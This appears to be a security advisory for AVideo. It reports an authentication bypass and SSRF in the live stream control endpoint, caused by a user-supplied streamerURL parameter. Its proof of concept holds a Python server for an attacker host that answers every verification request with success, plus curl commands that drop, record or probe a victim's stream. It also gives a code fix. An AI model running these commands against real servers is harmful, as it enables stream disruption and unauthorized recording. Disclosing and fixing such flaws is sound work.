AVideo Allows Unauthenticated Live Stream Control via Token Verification URL Override in control.json.php

Summary

The standalone live stream control endpoint at plugin/Live/standAloneFiles/control.json.php accepts a user-supplied streamerURL parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns {"error": false}, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence.

Details

The vulnerability exists because the streamerURL parameter is accepted directly from user input with no validation:

plugin/Live/standAloneFiles/control.json.php:77-79 — User input overrides server config:

if (!empty($_REQUEST['streamerURL'])) {
    $streamerURL = $_REQUEST['streamerURL'];
}

plugin/Live/standAloneFiles/control.json.php:83-91 — The user-controlled value is assigned to the request object:

$obj->streamerURL = $streamerURL;

plugin/Live/standAloneFiles/control.json.php:115-126 — Token verification is sent to the attacker-controlled URL:

$verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}";
// ...
$content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions));

The legitimate verifyToken.json.php performs cryptographic token validation via Live::decryptHash() and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with {"error": false}.

After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): record_start, record_stop, drop_publisher, and is_recording, which issue control commands to the local NGINX RTMP control module.

SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation.

Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file standAloneFiles/saveDVR.json.php on 2026-03-19 with an explicit comment: "SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF." The same fix was not applied to control.json.php.

PoC

Step 1: Set up an attacker server that returns {"error": false} for all requests.

# Minimal Python server on attacker machine (attacker.example.com:8888)
python3 -c '
import http.server, json
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type","application/json")
        self.end_headers()
        self.wfile.write(json.dumps({"error": False}).encode())
    def log_message(self, *a): pass
http.server.HTTPServer(("0.0.0.0", 8888), H).serve_forever()
'

Step 2: Drop a victim's live stream (kill their broadcast):

curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"

Expected response (authentication bypassed, command executed):

{"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"drop_publisher","app":"live","name":"VICTIM_STREAM_KEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIM_STREAM_KEY"}

Step 3: Start unauthorized recording of a victim's stream:

curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"

Step 4: Probe whether a stream name is active:

curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=is_recording&name=GUESS_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/"

Impact

• Denial of Service on Live Streams: Any unauthenticated attacker can terminate any active live broadcast using drop_publisher, causing immediate disruption for streamers and viewers.
• Unauthorized Recording: An attacker can start recording any live stream without authorization using record_start, potentially capturing private or sensitive content.
• Stream Enumeration: The is_recording command allows probing for valid stream names.
• SSRF: The server makes an outbound HTTP request to an attacker-controlled URL via file_get_contents(), which could be used to scan internal services or exfiltrate data via the request URL.
• No authentication required: The entire attack is performed without any credentials.

Recommended Fix

Remove the streamerURL request parameter override entirely, matching the fix already applied in saveDVR.json.php. In plugin/Live/standAloneFiles/control.json.php, replace lines 77-79:

// BEFORE (vulnerable):
if (!empty($_REQUEST['streamerURL'])) {
    $streamerURL = $_REQUEST['streamerURL'];
}

// AFTER (fixed):
// SECURITY: User-supplied streamerURL is intentionally NOT accepted.
// Allowing it would enable authentication bypass and SSRF via file_get_contents
// on an attacker-controlled host. streamerURL MUST come from the configuration
// file or be hard-coded in this file above.
if (empty($streamerURL)) {
    error_log("control.json.php: streamerURL is not configured");
    die(json_encode(['error' => true, 'msg' => 'Server not configured']));
}